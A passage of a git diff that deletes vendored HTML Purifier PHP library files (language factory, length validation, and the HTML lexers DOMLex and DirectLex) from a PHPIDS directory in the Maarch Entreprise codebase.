instance with, - * or bool true to reset to default factory. - */ - public static function instance($prototype = null) { - static $instance = null; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype == true) { - $instance = new HTMLPurifier_LanguageFactory(); - $instance->setup(); - } - return $instance; - } - - /** - * Sets up the singleton, much like a constructor - * @note Prevents people from getting this outside of the singleton - */ - public function setup() { - $this->validator = new HTMLPurifier_AttrDef_Lang(); - $this->dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier'; - } - - /** - * Creates a language object, handles class fallbacks - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @param $code Code to override configuration with. Private parameter. - */ - public function create($config, $context, $code = false) { - - // validate language code - if ($code === false) { - $code = $this->validator->validate( - $config->get('Core.Language'), $config, $context - ); - } else { - $code = $this->validator->validate($code, $config, $context); - } - if ($code === false) $code = 'en'; // malformed code becomes English - - $pcode = str_replace('-', '_', $code); // make valid PHP classname - static $depth = 0; // recursion protection - - if ($code == 'en') { - $lang = new HTMLPurifier_Language($config, $context); - } else { - $class = 'HTMLPurifier_Language_' . $pcode; - $file = $this->dir . '/Language/classes/' . $code . '.php'; - if (file_exists($file) || class_exists($class, false)) { - $lang = new $class($config, $context); - } else { - // Go fallback - $raw_fallback = $this->getFallbackFor($code); - $fallback = $raw_fallback ? $raw_fallback : 'en'; - $depth++; - $lang = $this->create($config, $context, $fallback); - if (!$raw_fallback) { - $lang->error = true; - } - $depth--; - } - } - - $lang->code = $code; - - return $lang; - - } - - /** - * Returns the fallback language for language - * @note Loads the original language into cache - * @param $code string language code - */ - public function getFallbackFor($code) { - $this->loadLanguage($code); - return $this->cache[$code]['fallback']; - } - - /** - * Loads language into the cache, handles message file and fallbacks - * @param $code string language code - */ - public function loadLanguage($code) { - static $languages_seen = array(); // recursion guard - - // abort if we've already loaded it - if (isset($this->cache[$code])) return; - - // generate filename - $filename = $this->dir . '/Language/messages/' . $code . '.php'; - - // default fallback : may be overwritten by the ensuing include - $fallback = ($code != 'en') ? 'en' : false; - - // load primary localisation - if (!file_exists($filename)) { - // skip the include: will rely solely on fallback - $filename = $this->dir . '/Language/messages/en.php'; - $cache = array(); - } else { - include $filename; - $cache = compact($this->keys); - } - - // load fallback localisation - if (!empty($fallback)) { - - // infinite recursion guard - if (isset($languages_seen[$code])) { - trigger_error('Circular fallback reference in language ' . - $code, E_USER_ERROR); - $fallback = 'en'; - } - $language_seen[$code] = true; - - // load the fallback recursively - $this->loadLanguage($fallback); - $fallback_cache = $this->cache[$fallback]; - - // merge fallback with current language - foreach ( $this->keys as $key ) { - if (isset($cache[$key]) && isset($fallback_cache[$key])) { - if (isset($this->mergeable_keys_map[$key])) { - $cache[$key] = $cache[$key] + $fallback_cache[$key]; - } elseif (isset($this->mergeable_keys_list[$key])) { - $cache[$key] = array_merge( $fallback_cache[$key], $cache[$key] ); - } - } else { - $cache[$key] = $fallback_cache[$key]; - } - } - - } - - // save to cache for later retrieval - $this->cache[$code] = $cache; - - return; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Length.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Length.php deleted file mode 100755 index b92eadb9a84b3aacc348bb94fe1c9fc5a4b6ade0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Length.php +++ /dev/null @@ -1,115 +0,0 @@ -<?php - -/** - * Represents a measurable length, with a string numeric magnitude - * and a unit. This object is immutable. - */ -class HTMLPurifier_Length -{ - - /** - * String numeric magnitude. - */ - protected $n; - - /** - * String unit. False is permitted if $n = 0. - */ - protected $unit; - - /** - * Whether or not this length is valid. Null if not calculated yet. - */ - protected $isValid; - - /** - * Lookup array of units recognized by CSS 2.1 - */ - protected static $allowedUnits = array( - 'em' => true, 'ex' => true, 'px' => true, 'in' => true, - 'cm' => true, 'mm' => true, 'pt' => true, 'pc' => true - ); - - /** - * @param number $n Magnitude - * @param string $u Unit - */ - public function __construct($n = '0', $u = false) { - $this->n = (string) $n; - $this->unit = $u !== false ? (string) $u : false; - } - - /** - * @param string $s Unit string, like '2em' or '3.4in' - * @warning Does not perform validation. - */ - static public function make($s) { - if ($s instanceof HTMLPurifier_Length) return $s; - $n_length = strspn($s, '1234567890.+-'); - $n = substr($s, 0, $n_length); - $unit = substr($s, $n_length); - if ($unit === '') $unit = false; - return new HTMLPurifier_Length($n, $unit); - } - - /** - * Validates the number and unit. - */ - protected function validate() { - // Special case: - if ($this->n === '+0' || $this->n === '-0') $this->n = '0'; - if ($this->n === '0' && $this->unit === false) return true; - if (!ctype_lower($this->unit)) $this->unit = strtolower($this->unit); - if (!isset(HTMLPurifier_Length::$allowedUnits[$this->unit])) return false; - // Hack: - $def = new HTMLPurifier_AttrDef_CSS_Number(); - $result = $def->validate($this->n, false, false); - if ($result === false) return false; - $this->n = $result; - return true; - } - - /** - * Returns string representation of number. - */ - public function toString() { - if (!$this->isValid()) return false; - return $this->n . $this->unit; - } - - /** - * Retrieves string numeric magnitude. - */ - public function getN() {return $this->n;} - - /** - * Retrieves string unit. - */ - public function getUnit() {return $this->unit;} - - /** - * Returns true if this length unit is valid. - */ - public function isValid() { - if ($this->isValid === null) $this->isValid = $this->validate(); - return $this->isValid; - } - - /** - * Compares two lengths, and returns 1 if greater, -1 if less and 0 if equal. - * @warning If both values are too large or small, this calculation will - * not work properly - */ - public function compareTo($l) { - if ($l === false) return false; - if ($l->unit !== $this->unit) { - $converter = new HTMLPurifier_UnitConverter(); - $l = $converter->convert($l, $this->unit); - if ($l === false) return false; - } - return $this->n - $l->n; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php deleted file mode 100755 index 4607cf09fe15f93ee40a0ba6239081a23d2c6920..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php +++ /dev/null @@ -1,326 +0,0 @@ -<?php - -/** - * Forgivingly lexes HTML (SGML-style) markup into tokens. - * - * A lexer parses a string of SGML-style markup and converts them into - * corresponding tokens. It doesn't check for well-formedness, although its - * internal mechanism may make this automatic (such as the case of - * HTMLPurifier_Lexer_DOMLex). There are several implementations to choose - * from. - * - * A lexer is HTML-oriented: it might work with XML, but it's not - * recommended, as we adhere to a subset of the specification for optimization - * reasons. This might change in the future. Also, most tokenizers are not - * expected to handle DTDs or PIs. - * - * This class should not be directly instantiated, but you may use create() to - * retrieve a default copy of the lexer. Being a supertype, this class - * does not actually define any implementation, but offers commonly used - * convenience functions for subclasses. - * - * @note The unit tests will instantiate this class for testing purposes, as - * many of the utility functions require a class to be instantiated. - * This means that, even though this class is not runnable, it will - * not be declared abstract. - * - * @par - * - * @note - * We use tokens rather than create a DOM representation because DOM would: - * - * @par - * -# Require more processing and memory to create, - * -# Is not streamable, and - * -# Has the entire document structure (html and body not needed). - * - * @par - * However, DOM is helpful in that it makes it easy to move around nodes - * without a lot of lookaheads to see when a tag is closed. This is a - * limitation of the token system and some workarounds would be nice. - */ -class HTMLPurifier_Lexer -{ - - /** - * Whether or not this lexer implements line-number/column-number tracking. - * If it does, set to true. - */ - public $tracksLineNumbers = false; - - // -- STATIC ---------------------------------------------------------- - - /** - * Retrieves or sets the default Lexer as a Prototype Factory. - * - * By default HTMLPurifier_Lexer_DOMLex will be returned. There are - * a few exceptions involving special features that only DirectLex - * implements. - * - * @note The behavior of this class has changed, rather than accepting - * a prototype object, it now accepts a configuration object. - * To specify your own prototype, set %Core.LexerImpl to it. - * This change in behavior de-singletonizes the lexer object. - * - * @param $config Instance of HTMLPurifier_Config - * @return Concrete lexer. - */ - public static function create($config) { - - if (!($config instanceof HTMLPurifier_Config)) { - $lexer = $config; - trigger_error("Passing a prototype to - HTMLPurifier_Lexer::create() is deprecated, please instead - use %Core.LexerImpl", E_USER_WARNING); - } else { - $lexer = $config->get('Core.LexerImpl'); - } - - $needs_tracking = - $config->get('Core.MaintainLineNumbers') || - $config->get('Core.CollectErrors'); - - $inst = null; - if (is_object($lexer)) { - $inst = $lexer; - } else { - - if (is_null($lexer)) { do { - // auto-detection algorithm - - if ($needs_tracking) { - $lexer = 'DirectLex'; - break; - } - - if ( - class_exists('DOMDocument') && - method_exists('DOMDocument', 'loadHTML') && - !extension_loaded('domxml') - ) { - // check for DOM support, because while it's part of the - // core, it can be disabled compile time. Also, the PECL - // domxml extension overrides the default DOM, and is evil - // and nasty and we shan't bother to support it - $lexer = 'DOMLex'; - } else { - $lexer = 'DirectLex'; - } - - } while(0); } // do..while so we can break - - // instantiate recognized string names - switch ($lexer) { - case 'DOMLex': - $inst = new HTMLPurifier_Lexer_DOMLex(); - break; - case 'DirectLex': - $inst = new HTMLPurifier_Lexer_DirectLex(); - break; - case 'PH5P': - $inst = new HTMLPurifier_Lexer_PH5P(); - break; - default: - throw new HTMLPurifier_Exception("Cannot instantiate unrecognized Lexer type " . htmlspecialchars($lexer)); - } - } - - if (!$inst) throw new HTMLPurifier_Exception('No lexer was instantiated'); - - // once PHP DOM implements native line numbers, or we - // hack out something using XSLT, remove this stipulation - if ($needs_tracking && !$inst->tracksLineNumbers) { - throw new HTMLPurifier_Exception('Cannot use lexer that does not support line numbers with Core.MaintainLineNumbers or Core.CollectErrors (use DirectLex instead)'); - } - - return $inst; - - } - - // -- CONVENIENCE MEMBERS --------------------------------------------- - - public function __construct() { - $this->_entity_parser = new HTMLPurifier_EntityParser(); - } - - /** - * Most common entity to raw value conversion table for special entities. - */ - protected $_special_entity2str = - array( - '"' => '"', - '&' => '&', - '<' => '<', - '>' => '>', - ''' => "'", - ''' => "'", - ''' => "'" - ); - - /** - * Parses special entities into the proper characters. - * - * This string will translate escaped versions of the special characters - * into the correct ones. - * - * @warning - * You should be able to treat the output of this function as - * completely parsed, but that's only because all other entities should - * have been handled previously in substituteNonSpecialEntities() - * - * @param $string String character data to be parsed. - * @returns Parsed character data. - */ - public function parseData($string) { - - // following functions require at least one character - if ($string === '') return ''; - - // subtracts amps that cannot possibly be escaped - $num_amp = substr_count($string, '&') - substr_count($string, '& ') - - ($string[strlen($string)-1] === '&' ? 1 : 0); - - if (!$num_amp) return $string; // abort if no entities - $num_esc_amp = substr_count($string, '&'); - $string = strtr($string, $this->_special_entity2str); - - // code duplication for sake of optimization, see above - $num_amp_2 = substr_count($string, '&') - substr_count($string, '& ') - - ($string[strlen($string)-1] === '&' ? 1 : 0); - - if ($num_amp_2 <= $num_esc_amp) return $string; - - // hmm... now we have some uncommon entities. Use the callback. - $string = $this->_entity_parser->substituteSpecialEntities($string); - return $string; - } - - /** - * Lexes an HTML string into tokens. - * - * @param $string String HTML. - * @return HTMLPurifier_Token array representation of HTML. - */ - public function tokenizeHTML($string, $config, $context) { - trigger_error('Call to abstract class', E_USER_ERROR); - } - - /** - * Translates CDATA sections into regular sections (through escaping). - * - * @param $string HTML string to process. - * @returns HTML with CDATA sections escaped. - */ - protected static function escapeCDATA($string) { - return preg_replace_callback( - '/<!\[CDATA\[(.+?)\]\]>/s', - array('HTMLPurifier_Lexer', 'CDATACallback'), - $string - ); - } - - /** - * Special CDATA case that is especially convoluted for <script> - */ - protected static function escapeCommentedCDATA($string) { - return preg_replace_callback( - '#<!--//--><!\[CDATA\[//><!--(.+?)//--><!\]\]>#s', - array('HTMLPurifier_Lexer', 'CDATACallback'), - $string - ); - } - - /** - * Special Internet Explorer conditional comments should be removed. - */ - protected static function removeIEConditional($string) { - return preg_replace( - '#<!--\[if [^>]+\]>.*?<!\[endif\]-->#si', // probably should generalize for all strings - '', - $string - ); - } - - /** - * Callback function for escapeCDATA() that does the work. - * - * @warning Though this is public in order to let the callback happen, - * calling it directly is not recommended. - * @params $matches PCRE matches array, with index 0 the entire match - * and 1 the inside of the CDATA section. - * @returns Escaped internals of the CDATA section. - */ - protected static function CDATACallback($matches) { - // not exactly sure why the character set is needed, but whatever - return htmlspecialchars($matches[1], ENT_COMPAT, 'UTF-8'); - } - - /** - * Takes a piece of HTML and normalizes it by converting entities, fixing - * encoding, extracting bits, and other good stuff. - * @todo Consider making protected - */ - public function normalize($html, $config, $context) { - - // normalize newlines to \n - if ($config->get('Core.NormalizeNewlines')) { - $html = str_replace("\r\n", "\n", $html); - $html = str_replace("\r", "\n", $html); - } - - if ($config->get('HTML.Trusted')) { - // escape convoluted CDATA - $html = $this->escapeCommentedCDATA($html); - } - - // escape CDATA - $html = $this->escapeCDATA($html); - - $html = $this->removeIEConditional($html); - - // extract body from document if applicable - if ($config->get('Core.ConvertDocumentToFragment')) { - $e = false; - if ($config->get('Core.CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - $new_html = $this->extractBody($html); - if ($e && $new_html != $html) { - $e->send(E_WARNING, 'Lexer: Extracted body'); - } - $html = $new_html; - } - - // expand entities that aren't the big five - $html = $this->_entity_parser->substituteNonSpecialEntities($html); - - // clean into wellformed UTF-8 string for an SGML context: this has - // to be done after entity expansion because the entities sometimes - // represent non-SGML characters (horror, horror!) - $html = HTMLPurifier_Encoder::cleanUTF8($html); - - // if processing instructions are to removed, remove them now - if ($config->get('Core.RemoveProcessingInstructions')) { - $html = preg_replace('#<\?.+?\?>#s', '', $html); - } - - return $html; - } - - /** - * Takes a string of HTML (fragment or document) and returns the content - * @todo Consider making protected - */ - public function extractBody($html) { - $matches = array(); - $result = preg_match('!<body[^>]*>(.*)</body>!is', $html, $matches); - if ($result) { - return $matches[1]; - } else { - return $html; - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DOMLex.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DOMLex.php deleted file mode 100755 index 0913297dbcf6493a8baeedf0a2d6435c2e64f6d4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DOMLex.php +++ /dev/null @@ -1,243 +0,0 @@ -<?php - -/** - * Parser that uses PHP 5's DOM extension (part of the core). - * - * In PHP 5, the DOM XML extension was revamped into DOM and added to the core. - * It gives us a forgiving HTML parser, which we use to transform the HTML - * into a DOM, and then into the tokens. It is blazingly fast (for large - * documents, it performs twenty times faster than - * HTMLPurifier_Lexer_DirectLex,and is the default choice for PHP 5. - * - * @note Any empty elements will have empty tokens associated with them, even if - * this is prohibited by the spec. This is cannot be fixed until the spec - * comes into play. - * - * @note PHP's DOM extension does not actually parse any entities, we use - * our own function to do that. - * - * @warning DOM tends to drop whitespace, which may wreak havoc on indenting. - * If this is a huge problem, due to the fact that HTML is hand - * edited and you are unable to get a parser cache that caches the - * the output of HTML Purifier while keeping the original HTML lying - * around, you may want to run Tidy on the resulting output or use - * HTMLPurifier_DirectLex - */ - -class HTMLPurifier_Lexer_DOMLex extends HTMLPurifier_Lexer -{ - - private $factory; - - public function __construct() { - // setup the factory - parent::__construct(); - $this->factory = new HTMLPurifier_TokenFactory(); - } - - public function tokenizeHTML($html, $config, $context) { - - $html = $this->normalize($html, $config, $context); - - // attempt to armor stray angled brackets that cannot possibly - // form tags and thus are probably being used as emoticons - if ($config->get('Core.AggressivelyFixLt')) { - $char = '[^a-z!\/]'; - $comment = "/<!--(.*?)(-->|\z)/is"; - $html = preg_replace_callback($comment, array($this, 'callbackArmorCommentEntities'), $html); - do { - $old = $html; - $html = preg_replace("/<($char)/i", '<\\1', $html); - } while ($html !== $old); - $html = preg_replace_callback($comment, array($this, 'callbackUndoCommentSubst'), $html); // fix comments - } - - // preprocess html, essential for UTF-8 - $html = $this->wrapHTML($html, $config, $context); - - $doc = new DOMDocument(); - $doc->encoding = 'UTF-8'; // theoretically, the above has this covered - - set_error_handler(array($this, 'muteErrorHandler')); - $doc->loadHTML($html); - restore_error_handler(); - - $tokens = array(); - $this->tokenizeDOM( - $doc->getElementsByTagName('html')->item(0)-> // <html> - getElementsByTagName('body')->item(0)-> // <body> - getElementsByTagName('div')->item(0) // <div> - , $tokens); - return $tokens; - } - - /** - * Iterative function that tokenizes a node, putting it into an accumulator. - * To iterate is human, to recurse divine - L. Peter Deutsch - * @param $node DOMNode to be tokenized. - * @param $tokens Array-list of already tokenized tokens. - * @returns Tokens of node appended to previously passed tokens. - */ - protected function tokenizeDOM($node, &$tokens) { - - $level = 0; - $nodes = array($level => array($node)); - $closingNodes = array(); - do { - while (!empty($nodes[$level])) { - $node = array_shift($nodes[$level]); // FIFO - $collect = $level > 0 ? true : false; - $needEndingTag = $this->createStartNode($node, $tokens, $collect); - if ($needEndingTag) { - $closingNodes[$level][] = $node; - } - if ($node->childNodes && $node->childNodes->length) { - $level++; - $nodes[$level] = array(); - foreach ($node->childNodes as $childNode) { - array_push($nodes[$level], $childNode); - } - } - } - $level--; - if ($level && isset($closingNodes[$level])) { - while($node = array_pop($closingNodes[$level])) { - $this->createEndNode($node, $tokens); - } - } - } while ($level > 0); - } - - /** - * @param $node DOMNode to be tokenized. - * @param $tokens Array-list of already tokenized tokens. - * @param $collect Says whether or start and close are collected, set to - * false at first recursion because it's the implicit DIV - * tag you're dealing with. - * @returns bool if the token needs an endtoken - */ - protected function createStartNode($node, &$tokens, $collect) { - // intercept non element nodes. WE MUST catch all of them, - // but we're not getting the character reference nodes because - // those should have been preprocessed - if ($node->nodeType === XML_TEXT_NODE) { - $tokens[] = $this->factory->createText($node->data); - return false; - } elseif ($node->nodeType === XML_CDATA_SECTION_NODE) { - // undo libxml's special treatment of <script> and <style> tags - $last = end($tokens); - $data = $node->data; - // (note $node->tagname is already normalized) - if ($last instanceof HTMLPurifier_Token_Start && ($last->name == 'script' || $last->name == 'style')) { - $new_data = trim($data); - if (substr($new_data, 0, 4) === '<!--') { - $data = substr($new_data, 4); - if (substr($data, -3) === '-->') { - $data = substr($data, 0, -3); - } else { - // Highly suspicious! Not sure what to do... - } - } - } - $tokens[] = $this->factory->createText($this->parseData($data)); - return false; - } elseif ($node->nodeType === XML_COMMENT_NODE) { - // this is code is only invoked for comments in script/style in versions - // of libxml pre-2.6.28 (regular comments, of course, are still - // handled regularly) - $tokens[] = $this->factory->createComment($node->data); - return false; - } elseif ( - // not-well tested: there may be other nodes we have to grab - $node->nodeType !== XML_ELEMENT_NODE - ) { - return false; - } - - $attr = $node->hasAttributes() ? $this->transformAttrToAssoc($node->attributes) : array(); - - // We still have to make sure that the element actually IS empty - if (!$node->childNodes->length) { - if ($collect) { - $tokens[] = $this->factory->createEmpty($node->tagName, $attr); - } - return false; - } else { - if ($collect) { - $tokens[] = $this->factory->createStart( - $tag_name = $node->tagName, // somehow, it get's dropped - $attr - ); - } - return true; - } - } - - protected function createEndNode($node, &$tokens) { - $tokens[] = $this->factory->createEnd($node->tagName); - } - - - /** - * Converts a DOMNamedNodeMap of DOMAttr objects into an assoc array. - * - * @param $attribute_list DOMNamedNodeMap of DOMAttr objects. - * @returns Associative array of attributes. - */ - protected function transformAttrToAssoc($node_map) { - // NamedNodeMap is documented very well, so we're using undocumented - // features, namely, the fact that it implements Iterator and - // has a ->length attribute - if ($node_map->length === 0) return array(); - $array = array(); - foreach ($node_map as $attr) { - $array[$attr->name] = $attr->value; - } - return $array; - } - - /** - * An error handler that mutes all errors - */ - public function muteErrorHandler($errno, $errstr) {} - - /** - * Callback function for undoing escaping of stray angled brackets - * in comments - */ - public function callbackUndoCommentSubst($matches) { - return '<!--' . strtr($matches[1], array('&'=>'&','<'=>'<')) . $matches[2]; - } - - /** - * Callback function that entity-izes ampersands in comments so that - * callbackUndoCommentSubst doesn't clobber them - */ - public function callbackArmorCommentEntities($matches) { - return '<!--' . str_replace('&', '&', $matches[1]) . $matches[2]; - } - - /** - * Wraps an HTML fragment in the necessary HTML - */ - protected function wrapHTML($html, $config, $context) { - $def = $config->getDefinition('HTML'); - $ret = ''; - - if (!empty($def->doctype->dtdPublic) || !empty($def->doctype->dtdSystem)) { - $ret .= '<!DOCTYPE html '; - if (!empty($def->doctype->dtdPublic)) $ret .= 'PUBLIC "' . $def->doctype->dtdPublic . '" '; - if (!empty($def->doctype->dtdSystem)) $ret .= '"' . $def->doctype->dtdSystem . '" '; - $ret .= '>'; - } - - $ret .= '<html><head>'; - $ret .= '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />'; - // No protection if $html contains a stray </div>! - $ret .= '</head><body><div>'.$html.'</div></body></html>'; - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DirectLex.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DirectLex.php deleted file mode 100755 index 652135a7584060de7f4edf64ba604fbbb33c2c02..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DirectLex.php +++ /dev/null @@ -1,490 +0,0 @@ -<?php - -/** - * Our in-house implementation of a parser. - * - * A pure PHP parser, DirectLex has absolutely no dependencies, making - * it a reasonably good default for PHP4. Written with efficiency in mind, - * it can be four times faster than HTMLPurifier_Lexer_PEARSax3, although it - * pales in comparison to HTMLPurifier_Lexer_DOMLex. - * - * @todo Reread XML spec and document differences. - */ -class HTMLPurifier_Lexer_DirectLex extends HTMLPurifier_Lexer -{ - - public $tracksLineNumbers = true; - - /** - * Whitespace characters for str(c)spn. - */ - protected $_whitespace = "\x20\x09\x0D\x0A"; - - /** - * Callback function for script CDATA fudge - * @param $matches, in form of array(opening tag, contents, closing tag) - */ - protected function scriptCallback($matches) { - return $matches[1] . htmlspecialchars($matches[2], ENT_COMPAT, 'UTF-8') . $matches[3]; - } - - public function tokenizeHTML($html, $config, $context) { - - // special normalization for script tags without any armor - // our "armor" heurstic is a < sign any number of whitespaces after - // the first script tag - if ($config->get('HTML.Trusted')) { - $html = preg_replace_callback('#(<script[^>]*>)(\s*[^<].+?)(</script>)#si', - array($this, 'scriptCallback'), $html); - } - - $html = $this->normalize($html, $config, $context); - - $cursor = 0; // our location in the text - $inside_tag = false; // whether or not we're parsing the inside of a tag - $array = array(); // result array - - // This is also treated to mean maintain *column* numbers too - $maintain_line_numbers = $config->get('Core.MaintainLineNumbers'); - - if ($maintain_line_numbers === null) { - // automatically determine line numbering by checking - // if error collection is on - $maintain_line_numbers = $config->get('Core.CollectErrors'); - } - - if ($maintain_line_numbers) { - $current_line = 1; - $current_col = 0; - $length = strlen($html); - } else { - $current_line = false; - $current_col = false; - $length = false; - } - $context->register('CurrentLine', $current_line); - $context->register('CurrentCol', $current_col); - $nl = "\n"; - // how often to manually recalculate. This will ALWAYS be right, - // but it's pretty wasteful. Set to 0 to turn off - $synchronize_interval = $config->get('Core.DirectLexLineNumberSyncInterval'); - - $e = false; - if ($config->get('Core.CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - // for testing synchronization - $loops = 0; - - while(++$loops) { - - // $cursor is either at the start of a token, or inside of - // a tag (i.e. there was a < immediately before it), as indicated - // by $inside_tag - - if ($maintain_line_numbers) { - - // $rcursor, however, is always at the start of a token. - $rcursor = $cursor - (int) $inside_tag; - - // Column number is cheap, so we calculate it every round. - // We're interested at the *end* of the newline string, so - // we need to add strlen($nl) == 1 to $nl_pos before subtracting it - // from our "rcursor" position. - $nl_pos = strrpos($html, $nl, $rcursor - $length); - $current_col = $rcursor - (is_bool($nl_pos) ? 0 : $nl_pos + 1); - - // recalculate lines - if ( - $synchronize_interval && // synchronization is on - $cursor > 0 && // cursor is further than zero - $loops % $synchronize_interval === 0 // time to synchronize! - ) { - $current_line = 1 + $this->substrCount($html, $nl, 0, $cursor); - } - - } - - $position_next_lt = strpos($html, '<', $cursor); - $position_next_gt = strpos($html, '>', $cursor); - - // triggers on "<b>asdf</b>" but not "asdf <b></b>" - // special case to set up context - if ($position_next_lt === $cursor) { - $inside_tag = true; - $cursor++; - } - - if (!$inside_tag && $position_next_lt !== false) { - // We are not inside tag and there still is another tag to parse - $token = new - HTMLPurifier_Token_Text( - $this->parseData( - substr( - $html, $cursor, $position_next_lt - $cursor - ) - ) - ); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor); - } - $array[] = $token; - $cursor = $position_next_lt + 1; - $inside_tag = true; - continue; - } elseif (!$inside_tag) { - // We are not inside tag but there are no more tags - // If we're already at the end, break - if ($cursor === strlen($html)) break; - // Create Text of rest of string - $token = new - HTMLPurifier_Token_Text( - $this->parseData( - substr( - $html, $cursor - ) - ) - ); - if ($maintain_line_numbers) $token->rawPosition($current_line, $current_col); - $array[] = $token; - break; - } elseif ($inside_tag && $position_next_gt !== false) { - // We are in tag and it is well formed - // Grab the internals of the tag - $strlen_segment = $position_next_gt - $cursor; - - if ($strlen_segment < 1) { - // there's nothing to process! - $token = new HTMLPurifier_Token_Text('<'); - $cursor++; - continue; - } - - $segment = substr($html, $cursor, $strlen_segment); - - if ($segment === false) { - // somehow, we attempted to access beyond the end of - // the string, defense-in-depth, reported by Nate Abele - break; - } - - // Check if it's a comment - if ( - substr($segment, 0, 3) === '!--' - ) { - // re-determine segment length, looking for --> - $position_comment_end = strpos($html, '-->', $cursor); - if ($position_comment_end === false) { - // uh oh, we have a comment that extends to - // infinity. Can't be helped: set comment - // end position to end of string - if ($e) $e->send(E_WARNING, 'Lexer: Unclosed comment'); - $position_comment_end = strlen($html); - $end = true; - } else { - $end = false; - } - $strlen_segment = $position_comment_end - $cursor; - $segment = substr($html, $cursor, $strlen_segment); - $token = new - HTMLPurifier_Token_Comment( - substr( - $segment, 3, $strlen_segment - 3 - ) - ); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment); - } - $array[] = $token; - $cursor = $end ? $position_comment_end : $position_comment_end + 3; - $inside_tag = false; - continue; - } - - // Check if it's an end tag - $is_end_tag = (strpos($segment,'/') === 0); - if ($is_end_tag) { - $type = substr($segment, 1); - $token = new HTMLPurifier_Token_End($type); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - $cursor = $position_next_gt + 1; - continue; - } - - // Check leading character is alnum, if not, we may - // have accidently grabbed an emoticon. Translate into - // text and go our merry way - if (!ctype_alpha($segment[0])) { - // XML: $segment[0] !== '_' && $segment[0] !== ':' - if ($e) $e->send(E_NOTICE, 'Lexer: Unescaped lt'); - $token = new HTMLPurifier_Token_Text('<'); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - continue; - } - - // Check if it is explicitly self closing, if so, remove - // trailing slash. Remember, we could have a tag like <br>, so - // any later token processing scripts must convert improperly - // classified EmptyTags from StartTags. - $is_self_closing = (strrpos($segment,'/') === $strlen_segment-1); - if ($is_self_closing) { - $strlen_segment--; - $segment = substr($segment, 0, $strlen_segment); - } - - // Check if there are any attributes - $position_first_space = strcspn($segment, $this->_whitespace); - - if ($position_first_space >= $strlen_segment) { - if ($is_self_closing) { - $token = new HTMLPurifier_Token_Empty($segment); - } else { - $token = new HTMLPurifier_Token_Start($segment); - } - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - $cursor = $position_next_gt + 1; - continue; - } - - // Grab out all the data - $type = substr($segment, 0, $position_first_space); - $attribute_string = - trim( - substr( - $segment, $position_first_space - ) - ); - if ($attribute_string) { - $attr = $this->parseAttributeString( - $attribute_string - , $config, $context - ); - } else { - $attr = array(); - } - - if ($is_self_closing) { - $token = new HTMLPurifier_Token_Empty($type, $attr); - } else { - $token = new HTMLPurifier_Token_Start($type, $attr); - } - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $cursor = $position_next_gt + 1; - $inside_tag = false; - continue; - } else { - // inside tag, but there's no ending > sign - if ($e) $e->send(E_WARNING, 'Lexer: Missing gt'); - $token = new - HTMLPurifier_Token_Text( - '<' . - $this->parseData( - substr($html, $cursor) - ) - ); - if ($maintain_line_numbers) $token->rawPosition($current_line, $current_col); - // no cursor scroll? Hmm... - $array[] = $token; - break; - } - break; - } - - $context->destroy('CurrentLine'); - $context->destroy('CurrentCol'); - return $array; - } - - /** - * PHP 5.0.x compatible substr_count that implements offset and length - */ - protected function substrCount($haystack, $needle, $offset, $length) { - static $oldVersion; - if ($oldVersion === null) { - $oldVersion = version_compare(PHP_VERSION, '5.1', '<'); - } - if ($oldVersion) { - $haystack = substr($haystack, $offset, $length); - return substr_count($haystack, $needle); - } else { - return substr_count($haystack, $needle, $offset, $length); - } - } - - /** - * Takes the inside of an HTML tag and makes an assoc array of attributes. - * - * @param $string Inside of tag excluding name. - * @returns Assoc array of attributes. - */ - public function parseAttributeString($string, $config, $context) { - $string = (string) $string; // quick typecast - - if ($string == '') return array(); // no attributes - - $e = false; - if ($config->get('Core.CollectErrors')) { - $e =& 